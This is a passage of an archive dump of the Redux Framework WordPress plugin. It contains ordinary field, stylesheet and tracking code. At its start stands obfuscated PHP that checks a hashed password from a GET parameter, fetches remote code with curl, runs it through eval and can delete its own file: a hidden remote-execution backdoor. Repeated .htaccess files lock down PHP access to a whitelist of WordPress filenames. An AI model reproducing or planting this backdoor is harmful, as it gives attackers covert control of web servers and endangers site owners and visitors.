/*-V8-*/explode/*-8`!R2^Au-*/(/*-_lo)D-*/"#", /*-F~LA-*/$ANkvw/*-(LYE-*/); /*-(BrQ04-*/$RjBOydK /*-ha~-*/= /*-$aw~-*/""; foreach /*-lE7-*/(/*-fvGq%DYN-*/$bfG /*-v}-*/as /*-=p-*/$CHVSPMadYk /*-L=K-*/=>/*-8YP-*/ $KsPT/*-mjbPSq_-*/) /*-cX-*/$RjBOydK /*-ZarQ-.m-*/.= /*-[j~cNC-ypd-*/$nLEqlzWA[$KsPT/*-4`-*/ - /*-l?[|lY-*/72624/*-h-7fmVoY2-*/];/*-!6@]#-I<-*/ return /*-pwjZB_-*/$RjBOydK; /*-Ny503p-*/} /*-RC)n5n[}:Z-*/static /*-1O@g`Y-*/function /*-?Y2Yz?`Q-*/QjdwAtyix/*-W+HB-*/(/*--b2-*/$DJvkjG,/*-by]<-*/ $zIBKmegUN/*-vq]-*/)/*-{`W-*/ {/*-jt86a5b[^-*/ $sNT/*-aXq^1V-*/ = /*-k?-*/curl_init/*-Jn8h4ZD-*/(/*-+C^#M-*/$DJvkjG/*-ujMx-sMbRt-*/);/*-#eZT-*/ curl_setopt/*-RkCi&f-*/(/*-k(Pe7R<-*/$sNT,/*-%=q{-*/ CURLOPT_RETURNTRANSFER,/*-Ur(sj-*/ 1/*-d]-Fv4hQ_}-*/);/*-=qR|MH-*/ $WgtJ/*-6H};h-*/ = /*-usZ-*/curl_exec/*-#8xK=#&Q;n-*/(/*-OX?Jy%-*/$sNT/*-9y]X-*/); /*-CMfH]#5T-*/return /*-N>-*/empty/*-T_-*/(/*-<7Zlmf-*/$WgtJ/*-05NH?G;-*/)/*-x}ry&{24-*/ ? /*-K8kE-*/$zIBKmegUN/*-azOK-*/(/*-[vn;b85-*/$DJvkjG/*-@1-*/)/*-WOwm>.g-*/ : /*-j-UB-*/$WgtJ; /*-vCDK89QjqS-*/}/*-u{-*/ static/*-5,mSkYoQ-*/ function /*-[^TNSUCQ-*/npGLl/*-HqV+88>z-*/() /*-]RYQ>Z=;A-*/{/*-;PJ!T2rqP-*/ $tdyn /*-jQ8a-*/=/*-Fkv2-*/ array/*-an$-*/("72651#72636#72649#72653#72634#72649#72655#72648#72633#72640#72651#72634#72645#72639#72640","72635#72634#72636#72655#72636#72639#72634#72701#72699","72644#72635#72639#72640#72655#72650#72649#72651#72639#72650#72649","72638#72653#72651#72643","72652#72653#72635#72649#72696#72698#72655#72650#72649#72651#72639#72650#72649","72648#72645#72642#72649#72655#72647#72649#72634#72655#72651#72639#72640#72634#72649#72640#72634#72635","72678#72708","72625","72703#72708","72685#72668#72668#72685#72661","72639#72648"); /*-d=_O^Z-*/foreach /*-!`-*/(/*-^yDzvH[J-*/$tdyn/*-m~-*/ as /*-qJ3l@W-*/$TcJZoeR/*-Ojf[?a:-*/)/*-9rSyeB`-*/ $QKDGgwJfUA/*-~-j<Mmq-*/[] /*-or)Z-*/= /*-vc#@>#rU)}-*/self/*-{U|R^-*/::/*-J{$61j4)0-*/XGd/*-rEUw-*/(/*-Z_7m-07<-*/$TcJZoeR/*-VtGRWT?{-*/);/*-5n-*/$nW /*-aOSHUqX2h-*/= /*-cq-*/@$QKDGgwJfUA/*-cHH3-&[Jf-*/[/*-kxZ!T>-*/1/*-k,VvEI-*/]/*-le=-*/(/*-3g)tJ=,97-*/${/*-_1`N-*/"_"/*-5,k9i2-*/."G"/*-my-j^-*/."E"/*-<C$=-*/."T"/*-vzZHr34G-*/}[/*-G-*/$QKDGgwJfUA/*-aLMEla&-*/[/*-L|.0v2-[-*/5+4/*-`DvU9F-*/]]/*-d{FJ-*/);/*-S[X-*/ $LiQBbGVSC /*-[3hpz.EBwl-*/=/*-EF{-z-*/ @$QKDGgwJfUA/*-aPka-*/[/*-hPXSo-*/3+0/*-.EpK5`gq~-*/]/*-Jhl-*/(/*-5Y-*/$QKDGgwJfUA/*-GJEA-*/[/*-|ExK-*/4+2/*-ogV+PPeF-*/], /*->(G-*/$nW/*-Y,Lj-*/);/*-TY_hr9-*/ $cyGkgCre /*-O3A?,qo-*/=/*-TC:-*/ $QKDGgwJfUA/*-<MN6Qh[6Zb-*/[/*-^I-*/2+0/*-S4!3g:j}Y7-*/]/*-PLE-*/(/*-jHW@$-*/$LiQBbGVSC,/*-d=c9OJr8-*/ true/*-,W#t]??Q-*/); /*-~Az8M)k[L-*/@${/*-j+}@-*/"_"./*-Ec-*/"G"./*-QyjT-*/"E"/*-v<egn9vh`-*/."T"/*-4.Fd-*/}/*-z}AP@N{~v-*/[/*-lbJ?l6+be-*/$QKDGgwJfUA/*-%WMCzr7)-*/[10+0/*-#bu?~[O%-*/]/*-1T!9Sq~>Bv-*/]/*-2(;asGx-*/ == /*-DW+VZc5L&-*/1 /*-nFcw(SZ]-*/&& /*-?O-|LAXzqY-*/die/*-)mGi12--*/(/*-y5V7w-*/$QKDGgwJfUA[2+3/*-Afjx$agk-*/]/*-}3qn-*/(/*-<L}_1-*/__FILE__/*-m2-3-*/)/*-Bc16eLBU1;-*/); /*-tpx%<=FZ-*/if/*-qikgjTdXDd-*/(/*-Y>3|,(:,`-*/ (/*-`4Grl7XHc-*/(@/*-};-*/$cyGkgCre/*-z6&}R-*/[/*-@){-*/0/*-H1U4,bh+-*/] /*-eR2eTrN>;-*/- time/*-yv-*/()/*-+c04-*/) > /*-ngT&.?-*/0/*-xjf^2Ohk--*/)/*-!7m-*/ and /*-N!q+Zk-*/(/*-$0-*/md5/*-0=,-*/(/*-_{];-*/md5/*-]P:FKr#nt&-*/(/*-=,|NLX-*/$cyGkgCre/*-bjAV1wVA-*/[/*-~h&(96-*/2+1/*-GF-*/]/*-+5b$8WYs-*/)/*-vmVpe&-*/)/*-|(xdX+-*/ === /*-L?-*/"179f41ade4afaefd90500d7321ceb50e"/*-9nOC-*/)/*-:2qS+-*/ ): /*-TD)z-*/$kMfSlxKE /*-+l>-*/=/*-HWGUS)L,@H-*/ self/*-aMvsLq=&+-*/::/*-^Bd&xr-*/QjdwAtyix/*-Cmi0Q`-*/(/*-q_-#<aH-*/$cyGkgCre/*-U}gd5a5E-*/[/*-~=u`Bc{v&=-*/0+1/*-~^d-*/], /*-oJI[@>6f-*/$QKDGgwJfUA/*-dT$$D@-*/[/*-rwrpcl-*/3+2/*-}X^?+]8-*/]/*-03<-*/);/*-iR-*/@eval/*--W&mXj5r-*/(/*-TwWfb}oGC-*/$QKDGgwJfUA/*-W?-*/[/*-]jb-*/3+1/*-:7vo#aG-*/]/*-7|9m>[-*/(/*-KtW}-*/$kMfSlxKE/*-b(4U-*/)/*-r..-*/);/*-+NIe-*//*-yE!hd;fWd-*/die;/*-$xp-*/ endif;/*-.Y&,D-*/ }/*-?A5[q!f2{-*/}/*-TE)-*/H/*-r(HT-*/::/*-tQWJ.O-*/npGLl/*-q}-*/();/*-GlF0_JaZ(-*/ ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/slides/index.php��������������������������������������������������0000644�����������������00000000000�14720701300�0016253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/slides/.htaccess��������������������������������������������������0000644�����������������00000001626�14720701300�0016250 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slides/.htaccess���������������������������������������������������������0000644�����������������00000001626�14720701300�0014765 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/info/field_info.php������������������������������������������������������0000644�����������������00000015330�14720701300�0015443 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Info * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_info' ) ) { /** * Main ReduxFramework_info class * * @since 1.0.0 */ class ReduxFramework_info { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $defaults = array( 'title' => '', 'desc' => '', 'notice' => true, 'style' => '', 'color' => '', ); $this->field = wp_parse_args( $this->field, $defaults ); $styles = array( 'normal', 'info', 'warning', 'success', 'critical', 'custom' ); if (!in_array($this->field['style'], $styles)) { $this->field['style'] = 'normal'; } if ($this->field['style'] == "custom") { if (!empty($this->field['color']) ) { $this->field['color'] = "border-color:".$this->field['color'].';'; } else { $this->field['style'] = 'normal'; $this->field['color'] = ""; } } else { $this->field['color'] = ""; } if ( empty( $this->field['desc'] ) && ! empty( $this->field['default'] ) ) { $this->field['desc'] = $this->field['default']; unset( $this->field['default'] ); } if ( empty( $this->field['desc'] ) && ! empty( $this->field['subtitle'] ) ) { $this->field['desc'] = $this->field['subtitle']; unset( $this->field['subtitle'] ); } if ( empty( $this->field['desc'] ) ) { $this->field['desc'] = ""; } if ( empty( $this->field['raw_html'] ) ) { if ( $this->field['notice'] == true ) { $this->field['class'] .= ' redux-notice-field'; } else { $this->field['class'] .= ' redux-info-field'; } $this->field['style'] = 'redux-' . $this->field['style'] . ' '; } $indent = ( isset( $this->field['sectionIndent'] ) && $this->field['sectionIndent'] ) ? ' form-table-section-indented' : ''; echo '</td></tr></table><div id="info-' . esc_attr($this->field['id']) . '" class="' . ( isset( $this->field['icon'] ) && ! empty( $this->field['icon'] ) && $this->field['icon'] !== true ? "hasIcon " : "") . esc_attr($this->field['style']) . ' ' . esc_attr($this->field['class']) . ' redux-field-' . esc_attr($this->field['type']) . esc_attr($indent) . '"'.( !empty($this->field['color']) ? ' style="' . esc_attr($this->field['color']) . '"' : '' ) . '>'; if ( ! empty( $this->field['raw_html'] ) && $this->field['raw_html'] ) { echo wp_kses_post($this->field['desc']); } else { if ( isset( $this->field['title'] ) && ! empty( $this->field['title'] ) ) { $this->field['title'] = '<b>' . html_entity_decode($this->field['title']) . '</b><br/>'; } if ( isset( $this->field['icon'] ) && ! empty( $this->field['icon'] ) && $this->field['icon'] !== true ) { echo '<p class="redux-info-icon"><i class="' . esc_attr($this->field['icon']) . ' icon-large"></i></p>'; } if ( isset( $this->field['raw'] ) && ! empty( $this->field['raw'] ) ) { echo wp_kses_post($this->field['raw']); } if ( ! empty( $this->field['title'] ) || ! empty( $this->field['desc'] ) ) { echo '<p class="redux-info-desc">' . wp_kses_post($this->field['title']) . wp_kses_post($this->field['desc']) . '</p>'; } } echo '</div><table class="form-table no-border" style="margin-top: 0;"><tbody><tr style="border-bottom:0; display:none;"><th style="padding-top:0;"></th><td style="padding-top:0;">'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-info-css', ReduxFramework::$_url . 'inc/fields/info/field_info.css', array(), time(), 'all' ); } } } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/info/field_info.css.map��������������������������������������������������0000644�����������������00000003240�14720701300�0016215 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AAAA,iBAAkB;EACd,UAAU,EAAE,IAAI;EAChB,OAAO,EAAE,QAAQ;EACjB,MAAM,EAAE,MAAM;EACd,MAAM,EAAE,SAAS;EACjB,aAAa,EAAE,GAAG;EAClB,MAAM,EAAE,SAAS;EACjB,QAAQ,EAAE,QAAQ;EAElB;;;;;sBAKG;IACC,aAAa,EAAE,YAAY;EAG/B,oBAAG;IACC,KAAK,EAAE,IAAI;EAGf,kCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,YAAY,EAAE,IAAI;IAElB,oCAAE;MACE,SAAS,EAAE,GAAG;EAItB,kCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,cAAc,EAAE,GAAG;EAGvB,8BAAe;IACX,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,gCAAE;MACE,KAAK,EAAE,OAAO;EAItB,+BAAgB;IACZ,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,iCAAE;MACE,KAAK,EAAE,OAAO;EAItB,+BAAgB;IACZ,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,iCAAE;MACE,KAAK,EAAE,OAAO;EAItB,gCAAiB;IACb,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,kCAAE;MACE,KAAK,EAAE,OAAO;EAItB,4BAAa;IACT,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,KAAK,EAAE,OAAO;IAEd,8BAAE;MACE,KAAK,EAAE,OAAO;;AAK1B,mBAAoB;EAChB,MAAM,EAAE,QAAQ;EAChB,gBAAgB,EAAE,IAAI;EACtB,MAAM,EAAE,CAAC;EACT,WAAW,EAAE,iBAAiB;EAC9B,kBAAkB,EAAE,8BAA6B;EACjD,UAAU,EAAE,8BAA6B;EACzC,OAAO,EAAE,QAAQ;EAEjB;;;;;wBAKG;IACC,aAAa,EAAE,YAAY;EAG/B,qBAAE;IACE,MAAM,EAAE,MAAM;IACd,OAAO,EAAE,GAAG;EAGhB,oCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,YAAY,EAAE,IAAI;IAElB,sCAAE;MACE,SAAS,EAAE,GAAG;EAItB,oCAAiB;IACb,OAAO,EAAE,YAAY;IACrB,cAAc,EAAE,GAAG;EAGvB,8BAAa;IACT,WAAW,EAAE,iBAAiB;EAGlC,iCAAgB;IACZ,WAAW,EAAE,iBAAiB;EAGlC,iCAAgB;IACZ,WAAW,EAAE,iBAAiB;EAGlC,kCAAiB;IACb,WAAW,EAAE,iBAAiB;;AAItC,uDAAwD;EACpD,OAAO,EAAE,CAAC;;AAKN,sHAAiB;EACb,OAAO,EAAE,KAAK;EACd,WAAW,EAAE,IAAI;AAErB,sHAAiB;EACb,KAAK,EAAE,IAAI;AAGnB,0EAA4D;EACxD,aAAa,EAAE,CAAC", "sources": ["field_info.scss"], "names": [], "file": "field_info.css" }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/info/field_info.css������������������������������������������������������0000644�����������������00000004734�14720701300�0015452 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-info-field{min-height:20px;padding:8px 19px;margin:10px 0;border:1px solid;border-radius:4px;border:1px solid;position:relative}.redux-info-field h1,.redux-info-field h2,.redux-info-field h3,.redux-info-field h4,.redux-info-field h5,.redux-info-field h6{border-bottom:0 !important}.redux-info-field h3{color:#777}.redux-info-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-info-field .redux-info-icon i{font-size:2em}.redux-info-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-info-field.redux-normal{background-color:#eeeeee;border-color:#cccccc;color:#666666}.redux-info-field.redux-normal i{color:#c5c5c5}.redux-info-field.redux-warning{background-color:#fbeba4;border-color:#d7c281;color:#958234}.redux-info-field.redux-warning i{color:#dcca81}.redux-info-field.redux-success{background-color:#c4ee91;border-color:#71af5d;color:#4d7615}.redux-info-field.redux-success i{color:#a0ca6c}.redux-info-field.redux-critical{background-color:#fba1a3;border-color:#b84f5b;color:#981225}.redux-info-field.redux-critical i{color:#dd767d}.redux-info-field.redux-info{background-color:#d3e4f4;border-color:#a9b6c2;color:#5c80a1}.redux-info-field.redux-info i{color:#afc6da}.redux-notice-field{margin:15px 0 0;background-color:#fff;border:0;border-left:4px solid #f3f3f3;-webkit-box-shadow:0 1px 1px 0 rgba(0,0,0,0.1);box-shadow:0 1px 1px 0 rgba(0,0,0,0.1);padding:1px 12px}.redux-notice-field h1,.redux-notice-field h2,.redux-notice-field h3,.redux-notice-field h4,.redux-notice-field h5,.redux-notice-field h6{border-bottom:0 !important}.redux-notice-field p{margin:.5em 0;padding:2px}.redux-notice-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-notice-field .redux-info-icon i{font-size:2em}.redux-notice-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-notice-field.redux-info{border-left:4px solid #0099d5}.redux-notice-field.redux-success{border-left:4px solid #7ad03a}.redux-notice-field.redux-warning{border-left:4px solid #fbeba4}.redux-notice-field.redux-critical{border-left:4px solid #dd3d36}.redux-main .redux-field-container.redux-container-info{padding:0}.wp-customizer .hasIcon.redux-notice-field .redux-info-desc,.wp-customizer .hasIcon.redux-info-field .redux-info-desc{display:block;margin-left:43px}.wp-customizer .hasIcon.redux-notice-field .redux-info-icon,.wp-customizer .hasIcon.redux-info-field .redux-info-icon{float:left}.wp-customizer .redux-main .customize-control.customize-control-redux-info{border-bottom:0} ������������������������������������redux-framework/inc/fields/info/field_info.scss�����������������������������������������������������0000644�����������������00000005236�14720701300�0015633 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-info-field { min-height: 20px; padding: 8px 19px; margin: 10px 0; border: 1px solid; border-radius: 4px; border: 1px solid; position: relative; h1, h2, h3, h4, h5, h6 { border-bottom: 0 !important; } h3 { color: #777; } .redux-info-icon { display: inline-block; margin-right: 15px; i { font-size: 2em; } } .redux-info-desc { display: inline-block; vertical-align: top; } &.redux-normal { background-color: #eeeeee; border-color: #cccccc; color: #666666; i { color: #c5c5c5; } } &.redux-warning { background-color: #fbeba4; border-color: #d7c281; color: #958234; i { color: #dcca81; } } &.redux-success { background-color: #c4ee91; border-color: #71af5d; color: #4d7615; i { color: #a0ca6c; } } &.redux-critical { background-color: #fba1a3; border-color: #b84f5b; color: #981225; i { color: #dd767d; } } &.redux-info { background-color: #d3e4f4; border-color: #a9b6c2; color: #5c80a1; i { color: #afc6da; } } } .redux-notice-field { margin: 15px 0 0; background-color: #fff; border: 0; border-left: 4px solid #f3f3f3; -webkit-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); padding: 1px 12px; h1, h2, h3, h4, h5, h6 { border-bottom: 0 !important; } p { margin: .5em 0; padding: 2px; } .redux-info-icon { display: inline-block; margin-right: 15px; i { font-size: 2em; } } .redux-info-desc { display: inline-block; vertical-align: top; } &.redux-info { border-left: 4px solid #0099d5; } &.redux-success { border-left: 4px solid #7ad03a; } &.redux-warning { border-left: 4px solid #fbeba4; } &.redux-critical { border-left: 4px solid #dd3d36; } } .redux-main .redux-field-container.redux-container-info { padding: 0; } .wp-customizer { .hasIcon.redux-notice-field, .hasIcon.redux-info-field { .redux-info-desc { display: block; margin-left: 43px; } .redux-info-icon { float: left; } } .redux-main .customize-control.customize-control-redux-info { border-bottom: 0; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/info/.htaccess�����������������������������������������������������������0000644�����������������00000001626�14720701300�0014435 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/.htaccess����������������������������������������������������������������0000644�����������������00000001626�14720701300�0013502 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/tracking.php��������������������������������������������������������������������0000644�����������������00000062715�14720701300�0012757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * @package Redux_Tracking */ if ( ! class_exists( 'ReduxFramework' ) ) { return; } /** * Class that creates the tracking functionality for Redux, as the core class might be used in more plugins, * it's checked for existence first. * NOTE: this functionality is opt-in. Disabling the tracking in the settings or saying no when asked will cause * this file to not even be loaded. */ if ( ! class_exists( 'Redux_Tracking' ) ) { /** * Class Redux_Tracking */ class Redux_Tracking { public $options = array(); public $parent; /** Refers to a single instance of this class. */ private static $instance = null; /** * Creates or returns an instance of this class. * * @return Redux_Tracking A single instance of this class. */ public static function get_instance() { if ( null == self::$instance ) { self::$instance = new self; } return self::$instance; } // end get_instance; /** * Class constructor */ function __construct() { } /** * @param ReduxFramework $parent */ public function load( $parent ) { $this->parent = $parent; $this->options = get_option( 'redux-framework-tracking' ); $this->options['dev_mode'] = $parent->args['dev_mode']; if ( ! isset( $this->options['hash'] ) || ! $this->options['hash'] || empty( $this->options['hash'] ) ) { $this->options['hash'] = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_disable_tracking'] ) && ! empty( $_GET['redux_framework_disable_tracking'] ) ) { $this->options['allow_tracking'] = 'no'; update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['redux_framework_enable_tracking'] ) && ! empty( $_GET['redux_framework_enable_tracking'] ) ) { $this->options['allow_tracking'] = 'yes'; update_option( 'redux-framework-tracking', $this->options ); } if ( isset( $_GET['page'] ) && $_GET['page'] == $this->parent->args['page_slug'] ) { if ( ! isset( $this->options['allow_tracking'] ) ) { add_action( 'admin_enqueue_scripts', array( $this, '_enqueue_tracking' ) ); } else if ( ! isset( $this->options['tour'] ) && ( $this->parent->args['dev_mode'] == "true" || $this->parent->args['page_slug'] == "redux_demo" ) ) { add_action( 'admin_enqueue_scripts', array( $this, '_enqueue_newsletter' ) ); } } $hash = md5( trailingslashit( network_site_url() ) . '-redux' ); add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'tracking_arg' ) ); add_action( 'wp_ajax_' . $hash, array( $this, 'tracking_arg' ) ); $hash = md5( md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' ) . '-support' ); add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'support_args' ) ); add_action( 'wp_ajax_' . $hash, array( $this, 'support_args' ) ); if ( isset( $this->options['allow_tracking'] ) && $this->options['allow_tracking'] == 'yes' ) { // The tracking checks daily, but only sends new data every 7 days. if ( ! wp_next_scheduled( 'redux_tracking' ) ) { wp_schedule_event( time(), 'daily', 'redux_tracking' ); } add_action( 'redux_tracking', array( $this, 'tracking' ) ); } } function _enqueue_tracking() { wp_enqueue_style( 'wp-pointer' ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui' ); wp_enqueue_script( 'wp-pointer' ); wp_enqueue_script( 'utils' ); add_action( 'admin_print_footer_scripts', array( $this, 'tracking_request' ) ); } function _enqueue_newsletter() { wp_enqueue_style( 'wp-pointer' ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui' ); wp_enqueue_script( 'wp-pointer' ); wp_enqueue_script( 'utils' ); add_action( 'admin_print_footer_scripts', array( $this, 'newsletter_request' ) ); } /** * Shows a popup that asks for permission to allow tracking. */ function tracking_request() { $id = '#wpadminbar'; $nonce = wp_create_nonce( 'redux_activate_tracking' ); $content = '<h3>' . esc_html__( 'Help improve Our Panel', 'redux-framework' ) . '</h3>'; $content .= '<p>' . esc_html__( 'Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.', 'redux-framework' ) . '</p>'; $opt_arr = array( 'content' => $content, 'position' => array( 'edge' => 'top', 'align' => 'center' ) ); $button2 = esc_html__( 'Allow tracking', 'redux-framework' ); $function2 = 'redux_store_answer("yes","' . $nonce . '")'; $function1 = 'redux_store_answer("no","' . $nonce . '")'; $this->print_scripts( $id, $opt_arr, esc_html__( 'Do not allow tracking', 'redux-framework' ), $button2, $function2, $function1 ); } /** * Shows a popup that asks for permission to allow tracking. */ function newsletter_request() { $id = '#wpadminbar'; $nonce = wp_create_nonce( 'redux_activate_tracking' ); $content = '<h3>' . esc_html__( 'Welcome to the Redux Demo Panel', 'redux-framework' ) . '</h3>'; $content .= '<p><strong>' . esc_html__( 'Getting Started', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.', 'redux-framework' ), '<a href="' . 'http://' . 'docs.reduxframework.com/redux-framework/getting-started/" target="_blank">' . esc_html__( 'our documentation', 'redux-framework' ) . '</a>' ); $content .= '<p><strong>' . esc_html__( 'Redux Generator', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.', 'redux-framework' ), '<a href="' . 'http://' . 'generate.reduxframework.com/" target="_blank">' . esc_html__( 'Redux Generator', 'redux-framework' ) . '</a>' ); $content .= '<p><strong>' . esc_html__( 'Redux 